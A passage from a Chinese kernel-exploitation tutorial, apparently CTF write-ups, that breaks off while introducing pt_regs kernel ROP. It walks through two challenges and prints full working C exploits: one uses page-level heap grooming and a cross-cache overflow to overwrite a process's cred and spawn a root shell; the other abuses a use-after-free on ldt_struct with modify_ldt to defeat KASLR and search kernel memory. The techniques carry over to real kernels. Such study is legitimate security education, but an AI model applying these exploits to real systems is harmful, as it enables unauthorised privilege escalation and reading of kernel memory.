启动脚本看都不用看就知道开了 SMEP、SMAP、KPTI(基本上已经是内核题标配了):

1
2
3
4
5
6
7
8
9
10
11
12
13
#!/bin/sh

exec qemu-system-x86_64 \
-m 4096M \
-nographic \
-kernel bzImage \
-append "console=ttyS0 loglevel=3 oops=panic panic=-1 pti=on" \
-netdev user,id=net \
-device e1000,netdev=net \
-no-reboot \
-monitor /dev/null \
-cpu qemu64,+smep,+smap \
-initrd initramfs.cpio.gz \

在启动脚本里加载了一个名为 cache_of_castaway.ko 的 LKM,按惯例丢进 IDA,在模块初始化时注册了设备并创建了一个 kmem_cache,分配的 object 的 size 为 512,创建 flag 为 SLAB_ACCOUNT | SLAB_PANIC,同时开启了 CONFIG_MEMCG_KMEM=y,这意味着这是一个独立的 kmem_cache

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
__int64 init_module()
{
__int64 result; // rax

castaway_dev = 255;
qword_8A8 = (__int64)"castaway";
qword_8B0 = (__int64)&castaway_fops;
_mutex_init(&castaway_lock, "&castaway_lock", &_key_28999);
if ( !(unsigned int)misc_register(&castaway_dev)
&& (castaway_arr = kmem_cache_alloc(kmalloc_caches[12], 3520LL)) != 0
&& (castaway_cachep = kmem_cache_create("castaway_cache", 0x200LL, 1LL, 0x4040000LL, 0LL)) != 0 )
{
result = init_castaway_driver_cold();
}
else
{
result = 0xFFFFFFFFLL;
}
return result;
}

设备只定义了一个 ioctl,其中包含分配与编辑堆块的功能且都有锁,最多可以分配 400 个 object,没有释放功能:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
__int64 __fastcall castaway_ioctl(__int64 a1, int a2, __int64 a3)
{
__int64 v3; // r12
_QWORD *v5; // rbx
unsigned __int64 v6[6]; // [rsp+0h] [rbp-30h] BYREF

v6[3] = __readgsqword(0x28u);
if ( a2 != 0xCAFEBABE )
{
if ( copy_from_user(v6, a3, 24LL) )
return -1LL;
mutex_lock(&castaway_lock);
if ( a2 == 0xF00DBABE )
v3 = castaway_edit(v6[0], v6[1], v6[2]);
else
v3 = -1LL;
LABEL_5:
mutex_unlock(&castaway_lock);
return v3;
}
mutex_lock(&castaway_lock);
v3 = castaway_ctr;
if ( castaway_ctr <= 399 )
{
++castaway_ctr;
v5 = (_QWORD *)(castaway_arr + 8 * v3);
*v5 = kmem_cache_alloc(castaway_cachep, 0x400DC0LL);
if ( *(_QWORD *)(castaway_arr + 8 * v3) )
goto LABEL_5;
}
return ((__int64 (*)(void))castaway_ioctl_cold)();
}

漏洞便存在于编辑堆块的 castaway_edit() 当中,在拷贝数据时会故意从 object + 6 的地方开始拷贝,从而存在一个 6 字节的溢出,这里因为是先拷贝到内核栈上再进行内核空间中的拷贝所以不会触发 hardened usercopy 的检查:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
__int64 __fastcall castaway_edit(unsigned __int64 a1, size_t a2, __int64 a3)
{
char src[512]; // [rsp+0h] [rbp-220h] BYREF
unsigned __int64 v6; // [rsp+200h] [rbp-20h]

v6 = __readgsqword(0x28u);
if ( a1 > 0x18F )
return castaway_edit_cold();
if ( !*(_QWORD *)(castaway_arr + 8 * a1) )
return castaway_edit_cold();
if ( a2 > 0x200 )
return castaway_edit_cold();
_check_object_size(src, a2, 0LL);
if ( copy_from_user(src, a3, a2) )
return castaway_edit_cold();
memcpy((void *)(*(_QWORD *)(castaway_arr + 8 * a1) + 6LL), src, a2);
return a2;
}

编辑堆块时我们应当向内核中传入如下结构:

1
2
3
4
5
struct request {
int64_t index;
size_t size;
void *buf;
};

② 漏洞利用

Step.I - cross-cache overflow

由于我们的漏洞对象位于独立的 kmem_cache 中,因此其不会与内核中的其他常用结构体的分配混用,我们无法直接通过 slub 层的堆喷 + 堆风水来溢出到其他结构体来进行下一步利用;同时由于 slub 并不会像 glibc 的ptmalloc2 那样在每个 object 开头都有个存储数据的 header,而是将 next 指针放在一个随机的位置,我们很难直接溢出到下一个 object 的 next 域,由于 hardened freelist 的存在就算我们能溢出到下一个相邻 object 的 next 域也没法构造出一个合法的指针;而在我们的 slub 页面相邻的页面上的数据对我们来说也是未知的,直接溢出的话我们并不知道能够溢出到什么页面上 :(

那么我们真的就没有任何办法了吗?答案自然是否定的,让我们把目光重新放到 slub allocator 上,当 freelist page 已经耗空且 partial 链表也为空时(或者 kmem_cache 刚刚创建后进行第一次分配时),其会向 buddy system 申请页面:

image.png

buddy system 的基本原理就是以 2 的 order 次幂张内存页作为分配粒度,相同 order 间空闲页面构成双向链表,当低阶 order 的页面不够用时便会从高阶 order 取一份连续内存页拆成两半,其中一半挂回当前请求 order 链表,另一半返还给上层调用者;下图为以 order 2 为例的 buddy system 页面分配基本原理:

page.gif

我们不难想到的是:从更高阶 order 拆分成的两份低阶 order 的连续内存页是物理连续的,若其中的一份被我们的 kmem_cache 取走,而另一份被用于分配其他内核结构体的 kmem_cache 取走,则我们便有可能溢出到其他的内核结构体上——这便是 cross-cache overflow

具体的溢出对象也并不难想——6个字节刚好足够我们溢出到 cred 结构体的 uid 字段,完成提权,那么如何溢出到我们想要提权的进程的 cred 结构体呢?我们只需要先 fork() 堆喷 cred 耗尽 cred_jar 中 object,让其向 buddy system 请求新的页面即可,我们还需要先堆喷消耗 buddy system 中原有的页面,之后我们再分配 cred 和题目 object,两者便有较大概率相邻

cred 的大小为 192cred_jar 向 buddy system 单次请求的页面数量为 1,足够分配 21 个 cred,因此我们不需要堆喷太多 cred 便能耗尽 cred_jar,不过 fork() 在执行过程中会产生很多的”噪声“(即额外分配一些我们不需要的结构体,从而影响页布局),因此这里我们改用 clone(CLONE_FILES | CLONE_FS | CLONE_VM | CLONE_SIGHAND)

关于”噪声“问题参见 bsauce 师傅的博客,笔者暂未深入阅读过 fork() 相关源码

笔者原本想用 msg_msg 来堆喷消耗 buddy system,但是笔者发现 System V 的消息队列在题目环境中被禁用了:(

image.png

因此我们最好寻找一些会直接调用向 buddy system 请求页面的 API 的结构,原本笔者想用 mmap() ,但是后面发现 mmap() 在分配时会产生大量噪声(各种无关结构体与页面请求(如页表项)),故只能寻找其他结构体

这里笔者选择参照官方 writeup 中参照 D3v17 在 CVE-2017-7308 中使用 setsockopt() 进行页喷射的方法:当我们创建一个 protocol 为 PF_PACKET 的 socket 之后,先调用 setsockopt()PACKET_VERSION 设为 TPACKET_V1 / TPACKET_V2,再调用 setsockopt() 提交一个 PACKET_TX_RING ,此时便存在如下调用链:

1
2
3
4
5
__sys_setsockopt()
sock->ops->setsockopt()
packet_setsockopt() // case PACKET_TX_RING ↓
packet_set_ring()
alloc_pg_vec()

alloc_pg_vec() 中会创建一个 pgv 结构体,用以分配 tp_block_nr 份 2order 张内存页,其中 ordertp_block_size 决定:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
static struct pgv *alloc_pg_vec(struct tpacket_req *req, int order)
{
unsigned int block_nr = req->tp_block_nr;
struct pgv *pg_vec;
int i;

pg_vec = kcalloc(block_nr, sizeof(struct pgv), GFP_KERNEL | __GFP_NOWARN);
if (unlikely(!pg_vec))
goto out;

for (i = 0; i < block_nr; i++) {
pg_vec[i].buffer = alloc_one_pg_vec_page(order);
if (unlikely(!pg_vec[i].buffer))
goto out_free_pgvec;
}

out:
return pg_vec;

out_free_pgvec:
free_pg_vec(pg_vec, order, block_nr);
pg_vec = NULL;
goto out;
}

alloc_one_pg_vec_page() 中会直接调用 __get_free_pages() 向 buddy system 请求内存页,因此我们可以利用该函数进行大量的页面请求:

1
2
3
4
5
6
7
8
9
10
11
static char *alloc_one_pg_vec_page(unsigned long order)
{
char *buffer;
gfp_t gfp_flags = GFP_KERNEL | __GFP_COMP |
__GFP_ZERO | __GFP_NOWARN | __GFP_NORETRY;

buffer = (char *) __get_free_pages(gfp_flags, order);
if (buffer)
return buffer;
//...
}

pgv 中的页面会在 socket 被关闭后释放,这也方便我们后续的页级堆风水,不过需要注意的是低权限用户无法使用该函数,但是我们可以通过开辟新的命名空间来绕过该限制

这里需要注意的是我们提权的进程不应当和页喷射的进程在同一命名空间内,因为后者需要开辟新的命名空间,而我们应当在原本的命名空间完成提权,因此这里笔者选择新开一个进程进行页喷射,并使用管道在主进程与喷射进程间通信

如果你忘了这一步,就会和笔者一样得到一个 65534 的 uid 然后冥思苦想半天…

Step.II - page-level heap fengshui

setsockopt() 也可以帮助我们完成页级堆风水,当我们耗尽 buddy system 中的 low order pages 后,我们再请求的页面便都是物理连续的,因此此时我们再进行 setsockopt() 便相当于获取到了一块近乎物理连续的内存(为什么是”近乎连续“是因为大量的 setsockopt() 流程中同样会分配大量我们不需要的结构体,从而消耗 buddy system 的部分页面)

本题环境中题目的 kmem_cache 单次会向 buddy system 请求一张内存页,而由于 buddy system 遵循 LIFO,因此我们可以:

  • 先分配大量的单张内存页,耗尽 buddy 中的 low-order pages
  • 间隔一张内存页释放掉部分单张内存页,之后堆喷 cred,这样便有几率获取到我们释放的单张内存页
  • 释放掉之前的间隔内存页,调用漏洞函数分配堆块,这样便有几率获取到我们释放的间隔内存页
  • 利用模块中漏洞进行越界写,篡改 cred->uid ,完成提权

我们的子进程需要轮询等待自己的 uid 变为 root,但是这种做法并不优雅:) ,所以笔者这里选择用一个新的管道在主进程与子进程间通信,当子进程从管道中读出1字节时便开始检查自己是否成功提权,若未提权则直接 sleep 即可

③ FINAL EXPLOIT

最后的 exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <stdint.h>
#include <string.h>
#include <sched.h>
#include <time.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/wait.h>

#define PGV_PAGE_NUM 1000
#define PGV_CRED_START (PGV_PAGE_NUM / 2)
#define CRED_SPRAY_NUM 514

#define PACKET_VERSION 10
#define PACKET_TX_RING 13

#define VUL_OBJ_NUM 400
#define VUL_OBJ_SIZE 512
#define VUL_OBJ_PER_SLUB 8
#define VUL_OBJ_SLUB_NUM (VUL_OBJ_NUM / VUL_OBJ_PER_SLUB)

struct tpacket_req {
unsigned int tp_block_size;
unsigned int tp_block_nr;
unsigned int tp_frame_size;
unsigned int tp_frame_nr;
};

enum tpacket_versions {
TPACKET_V1,
TPACKET_V2,
TPACKET_V3,
};

struct castaway_request {
int64_t index;
size_t size;
void *buf;
};

struct page_request {
int idx;
int cmd;
};

enum {
CMD_ALLOC_PAGE,
CMD_FREE_PAGE,
CMD_EXIT,
};

struct timespec timer = {
.tv_sec = 1145141919,
.tv_nsec = 0,
};

int dev_fd;
int cmd_pipe_req[2], cmd_pipe_reply[2], check_root_pipe[2];
char bin_sh_str[] = "/bin/sh";
char *shell_args[] = { bin_sh_str, NULL };
char child_pipe_buf[1];
char root_str[] = "\033[32m\033[1m[+] Successful to get the root.\n"
"\033[34m[*] Execve root shell now...\033[0m\n";

void err_exit(char *msg)
{
printf("\033[31m\033[1m[x] Error: %s\033[0m\n", msg);
exit(EXIT_FAILURE);
}

void alloc(void)
{
ioctl(dev_fd, 0xCAFEBABE);
}

void edit(int64_t index, size_t size, void *buf)
{
struct castaway_request r = {
.index = index,
.size = size,
.buf = buf,
};

ioctl(dev_fd, 0xF00DBABE, &r);
}

int waiting_for_root_fn(void *args)
{
/* we're using the same stack for them, so we need to avoid cracking it.. */
__asm__ volatile (
" lea rax, [check_root_pipe]; "
" xor rdi, rdi; "
" mov edi, dword ptr [rax]; "
" mov rsi, child_pipe_buf; "
" mov rdx, 1; "
" xor rax, rax; " /* read(check_root_pipe[0], child_pipe_buf, 1)*/
" syscall; "
" mov rax, 102; " /* getuid() */
" syscall; "
" cmp rax, 0; "
" jne failed; "
" mov rdi, 1; "
" lea rsi, [root_str]; "
" mov rdx, 80; "
" mov rax, 1;" /* write(1, root_str, 71) */
" syscall; "
" lea rdi, [bin_sh_str]; "
" lea rsi, [shell_args]; "
" xor rdx, rdx; "
" mov rax, 59; "
" syscall; " /* execve("/bin/sh", args, NULL) */
"failed: "
" lea rdi, [timer]; "
" xor rsi, rsi; "
" mov rax, 35; " /* nanosleep() */
" syscall; "
);

return 0;
}

void unshare_setup(void)
{
char edit[0x100];
int tmp_fd;

unshare(CLONE_NEWNS | CLONE_NEWUSER | CLONE_NEWNET);

tmp_fd = open("/proc/self/setgroups", O_WRONLY);
write(tmp_fd, "deny", strlen("deny"));
close(tmp_fd);

tmp_fd = open("/proc/self/uid_map", O_WRONLY);
snprintf(edit, sizeof(edit), "0 %d 1", getuid());
write(tmp_fd, edit, strlen(edit));
close(tmp_fd);

tmp_fd = open("/proc/self/gid_map", O_WRONLY);
snprintf(edit, sizeof(edit), "0 %d 1", getgid());
write(tmp_fd, edit, strlen(edit));
close(tmp_fd);
}

int create_socket_and_alloc_pages(unsigned int size, unsigned int nr)
{
struct tpacket_req req;
int socket_fd, version;
int ret;

socket_fd = socket(AF_PACKET, SOCK_RAW, PF_PACKET);
if (socket_fd < 0) {
printf("[x] failed at socket(AF_PACKET, SOCK_RAW, PF_PACKET)\n");
ret = socket_fd;
goto err_out;
}

version = TPACKET_V1;
ret = setsockopt(socket_fd, SOL_PACKET, PACKET_VERSION,
&version, sizeof(version));
if (ret < 0) {
printf("[x] failed at setsockopt(PACKET_VERSION)\n");
goto err_setsockopt;
}

memset(&req, 0, sizeof(req));
req.tp_block_size = size;
req.tp_block_nr = nr;
req.tp_frame_size = 0x1000;
req.tp_frame_nr = (req.tp_block_size * req.tp_block_nr) / req.tp_frame_size;

ret = setsockopt(socket_fd, SOL_PACKET, PACKET_TX_RING, &req, sizeof(req));
if (ret < 0) {
printf("[x] failed at setsockopt(PACKET_TX_RING)\n");
goto err_setsockopt;
}

return socket_fd;

err_setsockopt:
close(socket_fd);
err_out:
return ret;
}

__attribute__((naked)) long simple_clone(int flags, int (*fn)(void *))
{
/* for syscall, it's clone(flags, stack, ...) */
__asm__ volatile (
" mov r15, rsi; " /* save the rsi*/
" xor rsi, rsi; " /* set esp and useless args to NULL */
" xor rdx, rdx; "
" xor r10, r10; "
" xor r8, r8; "
" xor r9, r9; "
" mov rax, 56; " /* __NR_clone */
" syscall; "
" cmp rax, 0; "
" je child_fn; "
" ret; " /* parent */
"child_fn: "
" jmp r15; " /* child */
);
}

int alloc_page(int idx)
{
struct page_request req = {
.idx = idx,
.cmd = CMD_ALLOC_PAGE,
};
int ret;

write(cmd_pipe_req[1], &req, sizeof(struct page_request));
read(cmd_pipe_reply[0], &ret, sizeof(ret));

return ret;
}

int free_page(int idx)
{
struct page_request req = {
.idx = idx,
.cmd = CMD_FREE_PAGE,
};
int ret;

write(cmd_pipe_req[1], &req, sizeof(req));
read(cmd_pipe_reply[0], &ret, sizeof(ret));

return ret;
}

void spray_cmd_handler(void)
{
struct page_request req;
int socket_fd[PGV_PAGE_NUM];
int ret;

/* create an isolate namespace*/
unshare_setup();

/* handler request */
do {
read(cmd_pipe_req[0], &req, sizeof(req));

if (req.cmd == CMD_ALLOC_PAGE) {
ret = create_socket_and_alloc_pages(0x1000, 1);
socket_fd[req.idx] = ret;
} else if (req.cmd == CMD_FREE_PAGE) {
ret = close(socket_fd[req.idx]);
} else {
printf("[x] invalid request: %d\n", req.cmd);
}

write(cmd_pipe_reply[1], &ret, sizeof(ret));
} while (req.cmd != CMD_EXIT);
}

int main(int aragc, char **argv, char **envp)
{
cpu_set_t cpu_set;
char th_stack[0x1000], buf[0x1000];

/* to run the exp on the specific core only */
CPU_ZERO(&cpu_set);
CPU_SET(0, &cpu_set);
sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);

dev_fd = open("/dev/castaway", O_RDWR);
if (dev_fd < 0) {
err_exit("FAILED to open castaway device!");
}

/* use a new process for page spraying */
pipe(cmd_pipe_req);
pipe(cmd_pipe_reply);
if (!fork()) {
spray_cmd_handler();
exit(EXIT_SUCCESS);
}

/* make buddy's lower order clean, castaway_requesting from higher */
puts("[*] spraying pgv pages...");
for (int i = 0; i < PGV_PAGE_NUM; i++) {
if(alloc_page(i) < 0) {
printf("[x] failed at no.%d socket\n", i);
err_exit("FAILED to spray pages via socket!");
}
}

/* free pages for cred */
puts("[*] freeing for cred pages...");
for (int i = 1; i < PGV_PAGE_NUM; i += 2){
free_page(i);
}

/* spray cred to get the isolate pages we released before */
puts("[*] spraying cred...");
pipe(check_root_pipe);
for (int i = 0; i < CRED_SPRAY_NUM; i++) {
if (simple_clone(CLONE_FILES | CLONE_FS | CLONE_VM | CLONE_SIGHAND,
waiting_for_root_fn) < 0){
printf("[x] failed at cloning %d child\n", i);
err_exit("FAILED to clone()!");
}
}

/* free pages for our vulerable objects */
puts("[*] freeing for vulnerable pages...");
for (int i = 0; i < PGV_PAGE_NUM; i += 2){
free_page(i);
}

/* spray vulnerable objects, hope that we can make an oob-write to cred */
puts("[*] trigerring vulnerability in castaway kernel module...");
memset(buf, '\0', 0x1000);
*(uint32_t*) &buf[VUL_OBJ_SIZE - 6] = 1; /* cred->usage */
for (int i = 0; i < VUL_OBJ_NUM; i++) {
alloc();
edit(i, VUL_OBJ_SIZE, buf);
}

/* checking privilege in child processes */
puts("[*] notifying child processes and waiting...");
write(check_root_pipe[1], buf, CRED_SPRAY_NUM);
sleep(1145141919);

return 0;
}

运行即可提权:

image.png

0x0A. Kernel tricks

在学习了以上内核基本利用技巧之后,我们可以很容易地发现 kernel pwn 中的一些通用 tricks 与通用解法

initramfs 在内存中直接搜索 flag

Initial RAM diskinitrd)提供了在 boot loader 阶段载入一个 RAM disk 并挂载为根文件系统的能力,从而在该阶段运行一些用户态程序,在完成该阶段工作之后才是挂载真正的根文件系统

initrd 文件系统镜像通常为 gzip 格式,在启动阶段由 boot loader 将其路径传给 kernel,自 2.6 版本后出现了使用 cpio 格式的initramfs,从而无需挂载便能展开为一个文件系统

initrd/initramfs 的特点便是文件系统中的所有内容都会被读取到内存当中,而大部分 CTF 中的 kernel pwn 题目都选择直接将 initrd 作为根文件系统,因此若是我们有着内存搜索能力,我们便能直接在内存空间中搜索 flag 的内容:)

例题:RWCTF2023体验赛 - Digging into kernel 3

① 题目分析

题目已经在前面分析过了,这里笔者就不重复分析了:)

② 漏洞利用:ldt_struct 直接读取 initramfs 内容

既然题目中已经直接白给出了一个无限制的 UAF,那么利用方式就是多种多样的了 :-D 这里笔者选择利用 ldt_struct 直接在内存空间中搜索 flag 的方式解题

Step.I - 利用 ldt_struct 进行任意内存读取

ldt 即局部段描述符表Local Descriptor Table),其中存放着进程的段描述符,段寄存器当中存放着的段选择子便是段描述符表中段描述符的索引,在内核中与 ldt 相关联的结构体为 ldt_struct ,该结构体定义如下, entries 指针指向一块描述符表的内存,nr_entries 表示 LDT 中的描述符数量:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
struct ldt_struct {
/*
* Xen requires page-aligned LDTs with special permissions. This is
* needed to prevent us from installing evil descriptors such as
* call gates. On native, we could merge the ldt_struct and LDT
* allocations, but it's not worth trying to optimize.
*/
struct desc_struct *entries;
unsigned int nr_entries;

/*
* If PTI is in use, then the entries array is not mapped while we're
* in user mode. The whole array will be aliased at the addressed
* given by ldt_slot_va(slot). We use two slots so that we can allocate
* and map, and enable a new LDT without invalidating the mapping
* of an older, still-in-use LDT.
*
* slot will be -1 if this LDT doesn't have an alias mapping.
*/
int slot;
};

我们主要关注该结构体如何用作漏洞利用,Linux 提供了一个 modify_ldt() 系统调用操纵当前进程的 ldt_struct 结构体:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
SYSCALL_DEFINE3(modify_ldt, int , func , void __user * , ptr ,
unsigned long , bytecount)
{
int ret = -ENOSYS;

switch (func) {
case 0:
ret = read_ldt(ptr, bytecount);
break;
case 1:
ret = write_ldt(ptr, bytecount, 1);
break;
case 2:
ret = read_default_ldt(ptr, bytecount);
break;
case 0x11:
ret = write_ldt(ptr, bytecount, 0);
break;
}
/*
* The SYSCALL_DEFINE() macros give us an 'unsigned long'
* return type, but tht ABI for sys_modify_ldt() expects
* 'int'. This cast gives us an int-sized value in %rax
* for the return code. The 'unsigned' is necessary so
* the compiler does not try to sign-extend the negative
* return codes into the high half of the register when
* taking the value from int->long.
*/
return (unsigned int)ret;
}

对于 write_ldt() 而言其最终会调用 alloc_ldt_struct() 分配 ldt 结构体,由于走的是通用的分配路径所以我们可以在该结构体上完成 UAF :)

1
2
3
4
5
6
7
8
9
10
11
/* The caller must call finalize_ldt_struct on the result. LDT starts zeroed. */
static struct ldt_struct *alloc_ldt_struct(unsigned int num_entries)
{
struct ldt_struct *new_ldt;
unsigned int alloc_size;

if (num_entries > LDT_ENTRIES)
return NULL;

new_ldt = kmalloc(sizeof(struct ldt_struct), GFP_KERNEL);
//...

read_ldt() 就是简单的读出 LDT 表上内容到用户空间,由于我们有无限制的 UAF,故可以修改 ldt->entries 完成内核空间中的任意地址读

1
2
3
4
5
6
7
8
9
10
11
12
static int read_ldt(void __user *ptr, unsigned long bytecount)
{
//...
if (copy_to_user(ptr, mm->context.ldt->entries, entries_size)) {
retval = -EFAULT;
goto out_unlock;
}
//...
out_unlock:
up_read(&mm->context.ldt_usr_sem);
return retval;
}

read_ldt() 还能帮助我们绕过 KASLR ,这里我们要用到 copy_to_user() 的一个特性:对于非法地址,其并不会造成 kernel panic,只会返回一个非零的错误码,我们不难想到的是,我们可以多次修改 ldt->entries 并多次调用 modify_ldt() 以爆破内核的 page_offset_base,若是成功命中,则 modify_ldt 会返回给我们一个非负值

不过由于 hardened usercopy 的存在,我们并不能够直接读取内核代码段或是线性映射区中大小不符的对象的内容,否则会造成 kernel panic :(

Step.II - 利用 fork 绕过 hardened usercopy

虽然在用户空间与内核空间之间的数据拷贝存在 hardened usercopy,但是在内核空间到内核空间的数据拷贝间并不存在类似的保护机制,因此我们可以通过一些手段绕过 hardended usercopy

阅读 Linux 内核源码,我们不难观察到当进程调用 fork() 时,内核会通过 memcpy() 将父进程的 ldt->entries 上的内容拷贝给子进程:

1
2
3
4
5
6
7
8
9
10
11
12
13
/*
* Called on fork from arch_dup_mmap(). Just copy the current LDT state,
* the new task is not running, so nothing can be installed.
*/
int ldt_dup_context(struct mm_struct *old_mm, struct mm_struct *mm)
{
//...

memcpy(new_ldt->entries, old_mm->context.ldt->entries,
new_ldt->nr_entries * LDT_ENTRY_SIZE);

//...
}

该操作是完全处在内核中的操作,因此不会触发 hardened usercopy 的检查,我们只需要在父进程中设定好搜索的地址之后再开子进程来用 read_ldt() 读取数据即可:)

③ FINAL EXPLOIT

最后的 exp 如下,这也是笔者在比赛时所用的解法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
#define _GNU_SOURCE
#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/prctl.h>
#include <sys/syscall.h>
#include <sys/mman.h>
#include <sys/wait.h>
#include <asm/ldt.h>
#include <stdio.h>
#include <signal.h>
#include <pthread.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <ctype.h>
#include <stdint.h>

int dev_fd;

struct node {
uint32_t idx;
uint32_t size;
void *buf;
};

void err_exit(char * msg)
{
printf("[x] %s \n", msg);
exit(EXIT_FAILURE);
}

void alloc(uint32_t idx, uint32_t size, void *buf)
{
struct node n = {
.idx = idx,
.size = size,
.buf = buf,
};

ioctl(dev_fd, 0xDEADBEEF, &n);
}

void del(uint32_t idx)
{
struct node n = {
.idx = idx,
};

ioctl(dev_fd, 0xC0DECAFE, &n);
}

int main(int argc, char **argv, char **envp)
{
struct user_desc desc;
uint64_t page_offset_base = 0xffff888000000000;
uint64_t secondary_startup_64;
uint64_t kernel_base = 0xffffffff81000000, kernel_offset;
uint64_t search_addr, flag_addr = -1;
uint64_t temp;
uint64_t ldt_buf[0x10];
char *buf;
char flag[0x100];
int pipe_fd[2];
int retval;
cpu_set_t cpu_set;

/* bind to CPU core 0 */
CPU_ZERO(&cpu_set);
CPU_SET(0, &cpu_set);
sched_setaffinity(0, sizeof(cpu_set), &cpu_set);

dev_fd = open("/dev/rwctf", O_RDONLY);
if (dev_fd < 0) {
err_exit("FAILED to open the /dev/rwctf file!");
}

/* init descriptor info */
desc.base_addr = 0xff0000;
desc.entry_number = 0x8000 / 8;
desc.limit = 0;
desc.seg_32bit = 0;
desc.contents = 0;
desc.limit_in_pages = 0;
desc.lm = 0;
desc.read_exec_only = 0;
desc.seg_not_present = 0;
desc.useable = 0;

alloc(0, 16, "arttnba3rat3bant");
del(0);
syscall(SYS_modify_ldt, 1, &desc, sizeof(desc));

/* leak kernel direct mapping area by modify_ldt() */
while(1) {
ldt_buf[0] = page_offset_base;
ldt_buf[1] = 0x8000 / 8;
del(0);
alloc(0, 16, ldt_buf);
retval = syscall(SYS_modify_ldt, 0, &temp, 8);
if (retval > 0) {
printf("[-] read data: 0x%lx\n", temp);
break;
}
else if (retval == 0) {
err_exit("no mm->context.ldt!");
}
page_offset_base += 0x1000000;
}
printf("[+] Found page_offset_base: 0x%lx\n", page_offset_base);

/* leak kernel base from direct mappinig area by modify_ldt() */
ldt_buf[0] = page_offset_base + 0x9d000;
ldt_buf[1] = 0x8000 / 8;
del(0);
alloc(0, 16, ldt_buf);
syscall(SYS_modify_ldt, 0, &secondary_startup_64, 8);
kernel_offset = secondary_startup_64 - 0xffffffff81000060;
kernel_base += kernel_offset;
printf("[*] Get secondary_startup_64: 0x%lx\n", secondary_startup_64);
printf("[+] kernel_base: 0x%lx\n", kernel_base);
printf("[+] kernel_offset: 0x%lx\n", kernel_offset);

/* search for flag in kernel space */
search_addr = page_offset_base;
pipe(pipe_fd);
buf = (char*) mmap(NULL, 0x8000,
PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS,
0, 0);
while(1) {
ldt_buf[0] = search_addr;
ldt_buf[1] = 0x8000 / 8;
del(0);
alloc(0, 16, ldt_buf);
int ret = fork();
if (!ret) { // child
char *result_addr;

syscall(SYS_modify_ldt, 0, buf, 0x8000);
result_addr = memmem(buf, 0x8000, "rwctf{", 6);
if (result_addr) {
for (int i = 0; i < 0x100; i++) {
if (result_addr[i] == '}') {
flag_addr = search_addr + (uint64_t)(result_addr - buf);
printf("[+] Found flag at addr: 0x%lx\n", flag_addr);
}
}
}
write(pipe_fd[1], &flag_addr, 8);
exit(0);
}
wait(NULL);
read(pipe_fd[0], &flag_addr, 8);
if (flag_addr != -1) {
break;
}
search_addr += 0x8000;
}

/* read flag */
memset(flag, 0, sizeof(flag));
ldt_buf[0] = flag_addr;
ldt_buf[1] = 0x8000 / 8;
del(0);
alloc(0, 16, ldt_buf);
syscall(SYS_modify_ldt, 0, flag, 0x100);
printf("[+] flag: %s\n", flag);

system("/bin/sh");

return 0;
}

运行即可获得 flag:

image.png

利用 pt_regs 构造通用 kernel ROP(may obsolete)

pre.前置条件

可以控制内核执行流(劫持至少一个指针),(可选)已经泄露内核基址

系统调用 与 pt_regs 结构体

系统调用的本质是什么?或许不少人都能够答得上来是由我们在用户态布置好相应的参数后执行 syscall 这一汇编指令,通过门结构进入到内核中的 entry_SYSCALL_64这一函数,随后通过系统调用表跳转到对应的函数

现在让我们将目光放到 entry_SYSCALL_64 这一用汇编写的函数内部,观察,我们不难发现其有着这样一条指令

1
PUSH_AND_CLEAR_REGS rax=$-ENOSYS

这是一条十分有趣的指令,它会将所有的寄存器压入内核栈上,形成一个 pt_regs 结构体,该结构体实质上位于内核栈底,定义如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
struct pt_regs {
/*
* C ABI says these regs are callee-preserved. They aren't saved on kernel entry
